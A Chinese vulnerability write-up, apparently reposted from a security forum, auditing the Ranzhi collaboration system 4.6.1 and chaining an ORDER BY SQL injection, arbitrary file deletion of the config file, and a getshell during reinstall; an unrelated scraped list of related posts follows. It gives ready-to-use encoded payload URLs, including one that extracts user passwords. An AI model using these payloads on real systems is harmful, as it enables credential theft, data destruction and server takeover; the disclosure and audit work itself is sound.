Author:Vspiders
首发地址:https://xianzhi.aliyun.com/forum/topic/2135

前言

前段时间在做然之协同系统代码审计,这里做个简单的总结。

第一弹:SQL注入漏洞

0x01 注入漏洞分析

问题出现在/lib/base/dao/dao.class.php文件中的orderBy函数中,

public function orderBy($order)
{if($this->inCondition and !$this->conditionIsTrue) return $this;$order = str_replace(array('|', '', '_'), ' ', $order);/* Add "`" in order string. *//* When order has limit string. */$pos    = stripos($order, 'limit');$orders = $pos ? substr($order, 0, $pos) : $order;$limit  = $pos ? substr($order, $pos) : '';//截limit$orders = trim($orders);…………$order = join(',', $orders) . ' ' . $limit; //直接拼接$this->sql .= ' ' . DAO::ORDERBY . " $order";return $this;
}

简单分析一下orderBy函数,首先是把输入的$order变量过滤掉|SOH_字符,然后查看输入变量中是否存在limit字符,如果存在的话,对其进行截断,字符limit前形成$orders变量,limit字符后的内容变成$limit变量,问题就出在这里,之后并没有对$limit变量进行过滤,拼接到$orders变量之后,然后直接带入查询,并且然之协同框架支持多语句查询,因此可以构造多语句进行基于时间的SQL盲注注入。
但是这里如果跑数据库内容会出现一个问题,由于输入变量过滤掉了_字符,并且这个字符是数据库中表必有的。不过这里可以利用mysql的存储过程进行绕过。
存储过程的利用形式如下:

set @query=0x…;   (注入语句的ASCII值)
prepare stmt from @query;
execute stmt;

0x02 漏洞利用

这里以最新版ranzhi4.6.1为例
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html
此处会调用orderby函数。

Step 1:

构造原始param :

{"orderBy":"id limit 0,1;select if(1=2,1,sleep(2))#" }

Base64加密:

eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9

POC为:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9

此时会延时等待2秒,但是ranzhi数据库的表名中存在下划线,所以还不能直接利用该payload进行爆破。引入存储机制。

Step 2:

注入语句:

select if(30<ord(substr(password,1,1)),sleep(2),1) from sys_user

十六进制:

0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572

构造原始param :

{"orderBy":"id limit 0,1; set @query=0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572;prepare stmt from @query;execute stmt;" }

Base64加密后最终POC:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3MzY1NmM2NTYzNzQyMDY5NjYyODMzMzAzYzZmNzI2NDI4NzM3NTYyNzM3NDcyMjg3MDYxNzM3Mzc3NmY3MjY0MmMzMTJjMzEyOTI5MmM3MzZjNjU2NTcwMjgzMjI5MmMzMTI5MjA2NjcyNmY2ZDIwNzM3OTczNWY3NTczNjU3MjtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==

0x03 脚本演示

这里写个简单的脚本跑了一下,效果还不错,如下


第二弹:后台任意文件删除

从注入漏洞中,不难发现可以进行多行SQL语句执行,因此能控制数据库表里的内容。

0x01 漏洞分析

任意文件删除的触发点有很多,这里以一个简单的利用点为例:

public function getByID($fileID)
{$file = $this->dao->findById($fileID)->from(TABLE_FILE)->fetch();$realPathName   = $this->getRealPathName($file->pathname);$file->realPath = $this->savePath . $realPathName;$file->webPath  = $this->webPath . $realPathName;return $this->processFile($file);
}
…
public function delete($fileID, $null = null)
{$file = $this->getByID($fileID);if(file_exists($file->realPath)) unlink($file->realPath);$this->dao->delete()->from(TABLE_FILE)->where('id')->eq($file->id)->exec();return !dao::isError();
}

逻辑很简单,根据fileID获取文件信息,然后判断存在该文件则删除。其中获取文件信息是从TABLE_FILE数据表中查询,即对应为sys_file表,因为我们可以通过SQL语句修改控制sys_file表,因此就可以控制任意文件删除。

0x02 漏洞利用

首先后台上传一个图片文件。

注意文件名设置为易于识别的字符。然后通过访问file-edit-ID查找该文件的ID。

ID为1,利用SQL注入漏洞修改sys_file表中ID为1的pathname为我们想要删除的文件。
SQL语句:

update sys_file set pathname='../../../config/my.php' where id=1

构造param:

{"orderBy":"id limit 0,1;set @query=0x757064617465207379735f66696c652073657420706174686e616d653d272e2e2f2e2e2f2e2e2f636f6e6669672f6d792e706870272077686572652069643d31;prepare stmt from @query;execute stmt;" }

最终Payload:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3NTcwNjQ2MTc0NjUyMDczNzk3MzVmNjY2OTZjNjUyMDczNjU3NDIwNzA2MTc0Njg2ZTYxNmQ2NTNkMjcyZTJlMmYyZTJlMmYyZTJlMmY2MzZmNmU2NjY5NjcyZjZkNzkyZTcwNjg3MDI3MjA3NzY4NjU3MjY1MjA2OTY0M2QzMTtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==

然后访问http://127.0.0.1/ranzhi/www/sys/file-delete-1
即可完成任意文件删除。同样也可存在任意文件下载漏洞file-download-ID
此时删除了my.php文件之后,该系统将会重新安装。


第三弹:安装时Getshell

不到shell不罢休。

0x01 漏洞解析

当进入了安装环节,安装时并未进行过滤输入字符,所有的配置信息都会直接写入my.php文件中,利用该点可以直接向配置文件中写入一句话getshell。

0x02 漏洞利用

进入安装配置界面:
http://127.0.0.1/ranzhi/www/sys/install.php

如果知道对方数据库密码更好,如果不知道,可以使用远程Mysql服务器。保存之后便会触发。

然之协同系统漏洞利用汇总相关推荐

  1. ewebeditor漏洞利用汇总

    ewebeditor漏洞利用汇总 2007年09月24日 星期一 22:43 inurl:ewebeditor 现在eWebSoft在线编辑器用户越来越多,危害就越来越大~ 首先介绍编辑器的一些默认特 ...

  2. msf系统漏洞利用说明

    1.天镜.nessus.极光扫描器进行漏洞扫描,根据漏扫结果去msf里面进行查找漏洞利用工具 2.打开msf,通过search搜漏洞编号或漏洞名称 3.搜到漏洞之后,用use打开msf漏洞利用工具 4 ...

  3. 锐捷网管系统漏洞利用分析

    利用此漏洞可获取后台密码 现在复现 1.fofa搜索 title="RG-UAC登录页面" && body="admin" 2. 现在.查看源代 ...

  4. poc weblogic 漏洞利用_weblogic漏洞利用汇总

    漏洞列表弱口令 ssrf CVE-2014-4210 WLS 组件远程代码执行 CVE-2017-10271 任意上传 CVE-2018-2894 weak passwd&&CVE-2 ...

  5. 系统漏洞利用学习-3-kali-SWAKS匿名邮箱发送

    前言: 发送执行脚本/以及恶意邮件,免杀程序的方式很多钟,匿名邮件也是其中一种,但是在近几年安全行业的高速发展的影响下,此方法已经淡化人们的视线,但是针对安全意识薄弱的区域,此方法依旧可行. 测试环境 ...

  6. Kali WIndows 漏洞利用基础篇 (探索目标主机漏洞)

    通过使用Kali主机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞.因为很多教程只说了用什么漏洞去攻击,但是前提是该主机存在漏洞或者是该漏洞未被安装补丁(该Kali已经实体 ...

  7. Nessus扫描系统漏洞及MSF初级

    系统扫描器nessus 的使用: 主机发现(涵盖了nmap的功能) 基本网络扫描(涵盖了web和漏洞的扫描) 认证补丁扫描(操作系统扫描) ping命令基于ICMP协议 天境包含漏洞库 可以工具扫描出 ...

  8. 新病毒仿熊猫烧香 利用 Vista系统漏洞疯狂传播

    3月31日,瑞星全球反病毒监测网截获一个与"熊猫烧香"非常相似的高危病毒,命名为"ANI蠕虫(Worm.DlOnlineGames.a)".该病毒不光传播和危害 ...

  9. linux etc 漏洞利用,漏洞利用 | 看我如何利用Kerberos EoP渗透你的Linux系统

    写在前面的话 在一次红队分析中,我们成功以非特权用户的身份在一个外围网页中实现了命令执行.本文将介绍并分析漏洞(CVE-2018-1685)以及该漏洞的利用方式,该漏洞允许攻击者读取目标主机中的任意文 ...

最新文章

  1. iframe子页面操作父页面
  2. OSI七层 TCP/IP四层 TCP/IP协议栈: 不同的通信协议的大集合
  3. python3.8.2安装教程-在服务器上安装python3.8.2环境
  4. 《作业控制系列》-“linux命令五分钟系列”之十
  5. Window 转Linux 后感
  6. commit work蒙牛 PCM partner channel management
  7. 渝粤教育,我是客服,2022重返王者荣耀,再露凶残,欢迎约战
  8. SpringBoot项目中,获取配置文件信息
  9. linux io函数,unix/Linux低级IO函数的用法有哪些? 爱问知识人
  10. JavaScript(四)—— JavaScript 内置对象/JavaScript 简单数据类型与复杂类型
  11. 检验多重共线性matlab_异方差太难?检验通不过?横截面分析难题的十大暴击!...
  12. bzoj 1687: [Usaco2005 Open]Navigating the City 城市交通(BFS)
  13. 智乃的树旋转(easy version)(思维+暴力)
  14. 数据化、信息化、数字化和智能化之间联系和区别解析
  15. 卡尔卡尔曼滤波_卡尔加里最糟糕的网站2011:卡尔加里公交
  16. 智力题:13 个球一个天平,现知道只有一个和其它的重量不同,问怎样称才能用三次就找到那个球?
  17. 用决策树预测获胜球队
  18. 程序员禅的10条法则
  19. 如何在转换CAD图纸的时候更改背景颜色?
  20. python-探索性数据分析-足球赛事数据集

热门文章

  1. 1-17 Set集合和Map集合
  2. Flink(二十三)—— 流计算框架 Flink 与 Storm 的性能对比
  3. 的计算机课小说,6 计算机课
  4. 今天没有写的,唱首歌吧。。
  5. 编写程序模拟2-3个事务并发执行,简单实现调度器功能:加锁(含更新锁),根据锁表判断事务是否可获得锁,解锁
  6. Elasticsearch教程(4) High Level REST Client API 查询 聚合 分组
  7. 芯片生产测试中的CP wafer单片测试时间和UPH预估
  8. 2020年中国智能物联网(AIoT)白皮书
  9. Mybatis学习笔记02
  10. 就算是假期也全力以赴,学习不能停